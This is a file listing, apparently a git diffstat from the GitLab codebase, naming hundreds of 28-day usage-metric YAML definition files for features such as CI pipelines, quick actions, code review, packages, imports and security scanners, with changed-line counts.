-rw-r--r--config/metrics/counts_28d/20210216175424_instance_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175426_instance_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175428_group_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175430_group_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175432_project_clusters_disabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175434_project_clusters_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216175542_ci_builds.yml1
-rw-r--r--config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml1
-rw-r--r--config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml1
-rw-r--r--config/metrics/counts_28d/20210216175548_ci_pipeline_config_auto_devops.yml1
-rw-r--r--config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml1
-rw-r--r--config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml1
-rw-r--r--config/metrics/counts_28d/20210216175554_ci_pipelines.yml1
-rw-r--r--config/metrics/counts_28d/20210216175556_ci_triggers.yml1
-rw-r--r--config/metrics/counts_28d/20210216175616_user_dast_jobs.yml1
-rw-r--r--config/metrics/counts_28d/20210216175618_dast_pipeline.yml1
-rw-r--r--config/metrics/counts_28d/20210216180308_personal_snippets.yml1
-rw-r--r--config/metrics/counts_28d/20210216180310_project_snippets.yml1
-rw-r--r--config/metrics/counts_28d/20210216180312_snippets.yml1
-rw-r--r--config/metrics/counts_28d/20210216180317_snippets.yml1
-rw-r--r--config/metrics/counts_28d/20210216180319_action_monthly_active_users_web_ide_edit.yml1
-rw-r--r--config/metrics/counts_28d/20210216180321_action_monthly_active_users_sfe_edit.yml1
-rw-r--r--config/metrics/counts_28d/20210216180323_action_monthly_active_users_snippet_editor_edit.yml1
-rw-r--r--config/metrics/counts_28d/20210216180325_action_monthly_active_users_sse_edit.yml1
-rw-r--r--config/metrics/counts_28d/20210216180327_action_monthly_active_users_ide_edit.yml1
-rw-r--r--config/metrics/counts_28d/20210216180330_g_edit_by_web_ide_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180334_g_edit_by_sfe_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180338_g_edit_by_snippet_ide_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180341_ide_edit_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180355_user_api_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_28d/20210216180357_user_api_fuzzing_dnd_jobs.yml1
-rw-r--r--config/metrics/counts_28d/20210216180424_i_search_total_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180431_search_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216180509_incident_management_alerts_total_unique_counts.yml9
-rw-r--r--config/metrics/counts_28d/20210216180511_incident_management_incidents_total_unique_counts.yml9
-rw-r--r--config/metrics/counts_28d/20210216180524_projects_with_incidents.yml9
-rw-r--r--config/metrics/counts_28d/20210216180526_projects_with_alert_incidents.yml9
-rw-r--r--config/metrics/counts_28d/20210216180530_incident_management_alert_status_changed_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180533_incident_management_alert_assigned_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180537_incident_management_alert_todo_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180541_incident_management_incident_created_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180545_incident_management_incident_reopened_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180548_incident_management_incident_closed_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180552_incident_management_incident_assigned_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180556_incident_management_incident_todo_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180559_incident_management_incident_comment_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180603_incident_management_incident_zoom_meeting_monthly.yml19
-rw-r--r--config/metrics/counts_28d/20210216180607_incident_management_incident_published_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216180611_incident_management_incident_relate_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180614_incident_management_incident_unrelate_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180618_incident_management_incident_change_confidential_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180622_incident_management_total_unique_counts_monthly.yml9
-rw-r--r--config/metrics/counts_28d/20210216180625_incident_management_alert_create_incident_monthly.yml7
-rw-r--r--config/metrics/counts_28d/20210216180731_projects_imported_from_github.yml1
-rw-r--r--config/metrics/counts_28d/20210216180745_action_monthly_active_users_design_management.yml1
-rw-r--r--config/metrics/counts_28d/20210216180747_action_monthly_active_users_wiki_repo.yml1
-rw-r--r--config/metrics/counts_28d/20210216180814_events.yml1
-rw-r--r--config/metrics/counts_28d/20210216180816_groups.yml1
-rw-r--r--config/metrics/counts_28d/20210216180818_users_created.yml1
-rw-r--r--config/metrics/counts_28d/20210216180955_projects_with_prometheus_alerts.yml1
-rw-r--r--config/metrics/counts_28d/20210216180956_clusters.yml1
-rw-r--r--config/metrics/counts_28d/20210216180958_clusters_applications_prometheus.yml1
-rw-r--r--config/metrics/counts_28d/20210216181000_operations_dashboard_default_dashboard.yml1
-rw-r--r--config/metrics/counts_28d/20210216181002_projects_with_tracing_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216181004_projects_with_error_tracking_enabled.yml1
-rw-r--r--config/metrics/counts_28d/20210216181006_operations_dashboard_users_with_projects_added.yml1
-rw-r--r--config/metrics/counts_28d/20210216181050_packages.yml1
-rw-r--r--config/metrics/counts_28d/20210216181057_projects_with_packages.yml1
-rw-r--r--config/metrics/counts_28d/20210216181139_issues.yml1
-rw-r--r--config/metrics/counts_28d/20210216181141_notes.yml1
-rw-r--r--config/metrics/counts_28d/20210216181143_projects.yml1
-rw-r--r--config/metrics/counts_28d/20210216181145_todos.yml1
-rw-r--r--config/metrics/counts_28d/20210216181147_service_desk_enabled_projects.yml1
-rw-r--r--config/metrics/counts_28d/20210216181148_service_desk_issues.yml1
-rw-r--r--config/metrics/counts_28d/20210216181150_projects_jira_active.yml1
-rw-r--r--config/metrics/counts_28d/20210216181152_projects_jira_dvcs_cloud_active.yml1
-rw-r--r--config/metrics/counts_28d/20210216181154_projects_jira_dvcs_server_active.yml1
-rw-r--r--config/metrics/counts_28d/20210216181158_epics.yml1
-rw-r--r--config/metrics/counts_28d/20210216181200_label_lists.yml1
-rw-r--r--config/metrics/counts_28d/20210216181304_g_project_management_issue_title_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181308_g_project_management_issue_description_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181311_g_project_management_issue_assignee_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181315_g_project_management_issue_made_confidential_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181319_g_project_management_issue_made_visible_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181323_g_project_management_issue_created_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181326_g_project_management_issue_closed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181330_g_project_management_issue_reopened_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181334_g_project_management_issue_label_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181337_g_project_management_issue_milestone_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181348_g_project_management_issue_cross_referenced_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181352_g_project_management_issue_moved_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181356_g_project_management_issue_related_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181400_g_project_management_issue_unrelated_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181403_g_project_management_issue_marked_as_duplicate_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181407_g_project_management_issue_locked_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181424_g_project_management_issue_designs_added_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181427_g_project_management_issue_designs_modified_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181431_g_project_management_issue_designs_removed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181435_g_project_management_issue_due_date_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181438_g_project_management_issue_time_estimate_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181442_g_project_management_issue_time_spent_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181446_g_project_management_issue_comment_added_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181450_g_project_management_issue_comment_edited_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181453_g_project_management_issue_comment_removed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181501_g_project_management_issue_cloned_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181604_i_quickactions_done_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181607_i_quickactions_draft_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181611_i_quickactions_due_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181615_i_quickactions_duplicate_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181622_i_quickactions_estimate_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181629_i_quickactions_label_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181633_i_quickactions_lock_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181637_i_quickactions_merge_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181641_i_quickactions_milestone_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181644_i_quickactions_move_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181659_i_quickactions_reassign_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181703_i_quickactions_reassign_reviewer_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181707_i_quickactions_rebase_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181710_i_quickactions_relabel_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181714_i_quickactions_relate_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181721_i_quickactions_remove_due_date_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181729_i_quickactions_remove_estimate_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181736_i_quickactions_remove_milestone_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181744_i_quickactions_remove_time_spent_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181747_i_quickactions_remove_zoom_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216181923_successful_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216181924_failed_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216181935_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216181937_failed_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216181939_releases.yml1
-rw-r--r--config/metrics/counts_28d/20210216181941_successful_deployments.yml1
-rw-r--r--config/metrics/counts_28d/20210216181951_clusters_applications_runner.yml1
-rw-r--r--config/metrics/counts_28d/20210216181956_user_unique_users_all_secure_scanners.yml1
-rw-r--r--config/metrics/counts_28d/20210216182034_deploy_keys.yml1
-rw-r--r--config/metrics/counts_28d/20210216182036_keys.yml1
-rw-r--r--config/metrics/counts_28d/20210216182038_remote_mirrors.yml1
-rw-r--r--config/metrics/counts_28d/20210216182040_action_monthly_active_users_project_repo.yml1
-rw-r--r--config/metrics/counts_28d/20210216182041_action_monthly_active_users_git_write.yml1
-rw-r--r--config/metrics/counts_28d/20210216182051_protected_branches.yml1
-rw-r--r--config/metrics/counts_28d/20210216182102_wiki_action_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216182106_design_action_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216182109_project_action_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216182125_user_sast_jobs.yml4
-rw-r--r--config/metrics/counts_28d/20210216182127_user_secret_detection_jobs.yml4
-rw-r--r--config/metrics/counts_28d/20210216182129_sast_pipeline.yml4
-rw-r--r--config/metrics/counts_28d/20210216182131_secret_detection_pipeline.yml4
-rw-r--r--config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216183159_projects_with_alerts_created.yml1
-rw-r--r--config/metrics/counts_28d/20210216183201_compliance_features_track_unique_visits_union.yml16
-rw-r--r--config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml1
-rw-r--r--config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml1
-rw-r--r--config/metrics/counts_28d/20210216183627_omniauth_providers.yml1
-rw-r--r--config/metrics/counts_28d/20210216183629_two-factor.yml1
-rw-r--r--config/metrics/counts_28d/20210216183631_two-factor-via-u2f-device.yml1
-rw-r--r--config/metrics/counts_28d/20210216183633_two-factor-via-webauthn-device.yml1
-rw-r--r--config/metrics/counts_28d/20210216183634_standard.yml1
-rw-r--r--config/metrics/counts_28d/20210216183636_google_oauth2.yml1
-rw-r--r--config/metrics/counts_28d/20210216183638_unique_users_all_imports.yml1
-rw-r--r--config/metrics/counts_28d/20210216183640_gitlab.yml1
-rw-r--r--config/metrics/counts_28d/20210216183642_gitlab_v1.yml1
-rw-r--r--config/metrics/counts_28d/20210216183644_gitlab_project.yml1
-rw-r--r--config/metrics/counts_28d/20210216183646_gitlab.yml1
-rw-r--r--config/metrics/counts_28d/20210216183648_github.yml1
-rw-r--r--config/metrics/counts_28d/20210216183650_bitbucket.yml1
-rw-r--r--config/metrics/counts_28d/20210216183652_bitbucket_server.yml1
-rw-r--r--config/metrics/counts_28d/20210216183653_gitea.yml1
-rw-r--r--config/metrics/counts_28d/20210216183655_git.yml1
-rw-r--r--config/metrics/counts_28d/20210216183657_manifest.yml1
-rw-r--r--config/metrics/counts_28d/20210216183659_gitlab_migration.yml1
-rw-r--r--config/metrics/counts_28d/20210216183701_jira.yml1
-rw-r--r--config/metrics/counts_28d/20210216183703_fogbugz.yml1
-rw-r--r--config/metrics/counts_28d/20210216183705_phabricator.yml1
-rw-r--r--config/metrics/counts_28d/20210216183707_csv.yml1
-rw-r--r--config/metrics/counts_28d/20210216183709_group_import.yml1
-rw-r--r--config/metrics/counts_28d/20210216183711_gitlab_migration.yml1
-rw-r--r--config/metrics/counts_28d/20210216183712_total.yml1
-rw-r--r--config/metrics/counts_28d/20210216183714_gitlab_project.yml1
-rw-r--r--config/metrics/counts_28d/20210216183716_gitlab.yml1
-rw-r--r--config/metrics/counts_28d/20210216183718_github.yml1
-rw-r--r--config/metrics/counts_28d/20210216183720_bitbucket.yml1
-rw-r--r--config/metrics/counts_28d/20210216183722_bitbucket_server.yml1
-rw-r--r--config/metrics/counts_28d/20210216183724_gitea.yml1
-rw-r--r--config/metrics/counts_28d/20210216183726_git.yml1
-rw-r--r--config/metrics/counts_28d/20210216183728_manifest.yml1
-rw-r--r--config/metrics/counts_28d/20210216183730_jira.yml1
-rw-r--r--config/metrics/counts_28d/20210216183731_fogbugz.yml1
-rw-r--r--config/metrics/counts_28d/20210216183733_phabricator.yml1
-rw-r--r--config/metrics/counts_28d/20210216183735_csv.yml1
-rw-r--r--config/metrics/counts_28d/20210216183737_groups_imported.yml1
-rw-r--r--config/metrics/counts_28d/20210216183817_user_coverage_fuzzing_jobs.yml1
-rw-r--r--config/metrics/counts_28d/20210216183826_sast_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183830_container_scanning_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183832_dast_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183834_secret_detection_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183836_coverage_fuzzing_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183838_api_fuzzing_scans.yml1
-rw-r--r--config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183922_search_unique_visits_for_any_target_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216183926_g_compliance_dashboard_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183930_g_compliance_audit_events_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183934_i_compliance_audit_events_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183938_i_compliance_credential_inventory_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183942_a_compliance_audit_events_api_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216183946_compliance_total_unique_counts_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216184024_g_edit_by_sse_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184047_git_write_action_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184255_i_snippets_show_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184259_p_terraform_state_api_unique_users_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184303_o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184312_i_code_review_user_toggled_task_item_status_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184322_i_code_review_user_approve_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184326_i_code_review_user_unapprove_mr_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184330_i_code_review_user_resolve_thread_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184334_i_code_review_user_unresolve_thread_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184338_i_code_review_edit_mr_title_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184342_i_code_review_edit_mr_desc_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184353_i_code_review_user_create_review_note_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184357_i_code_review_user_publish_review_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184401_i_code_review_user_create_multiline_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184405_i_code_review_user_edit_multiline_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184409_i_code_review_user_remove_multiline_mr_comment_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184418_i_code_review_user_assigned_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184422_i_code_review_user_marked_as_draft_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184426_i_code_review_user_unmarked_as_draft_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184430_i_code_review_user_review_requested_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184434_i_code_review_user_approval_rule_added_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184438_i_code_review_user_approval_rule_deleted_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184442_i_code_review_user_approval_rule_edited_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184446_i_code_review_user_vs_code_api_request_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184450_i_code_review_user_create_mr_from_issue_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184454_code_review_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184458_p_ci_templates_implicit_auto_devops_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184502_p_ci_templates_implicit_auto_devops_build_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184506_p_ci_templates_implicit_auto_devops_deploy_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184510_p_ci_templates_implicit_security_sast_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184513_p_ci_templates_implicit_security_secret_detection_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184517_p_ci_templates_5_min_production_app_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184523_p_ci_templates_auto_devops_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184526_p_ci_templates_aws_cf_deploy_ec2_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184530_p_ci_templates_aws_deploy_ecs_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184534_p_ci_templates_auto_devops_build_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184538_p_ci_templates_auto_devops_deploy_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184542_p_ci_templates_auto_devops_deploy_latest_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184546_p_ci_templates_security_sast_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184551_p_ci_templates_security_secret_detection_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184555_p_ci_templates_terraform_base_latest_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184559_ci_templates_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184806_i_package_composer_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184810_i_package_conan_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184814_i_package_container_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184818_i_package_debian_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184822_i_package_generic_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184826_i_package_golang_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184830_i_package_maven_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184834_i_package_npm_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184838_i_package_nuget_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184842_i_package_pypi_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184846_i_package_tag_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184850_deploy_token_packages_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184854_i_package_composer_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184858_i_package_conan_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184902_i_package_container_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184906_i_package_debian_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184910_i_package_generic_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184913_i_package_golang_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184917_i_package_maven_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184921_i_package_npm_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184925_i_package_nuget_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184929_i_package_pypi_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184933_i_package_tag_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184937_user_packages_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184941_i_ecosystem_jira_service_close_issue_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184945_i_ecosystem_jira_service_cross_reference_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216184957_ecosystem_total_unique_counts_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303154626_i_package_rubygems_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210303154654_i_package_rubygems_user_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210410012206_i_package_terraform_module_deploy_token_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210410012208_i_package_terraform_module_user_monthly.yml1
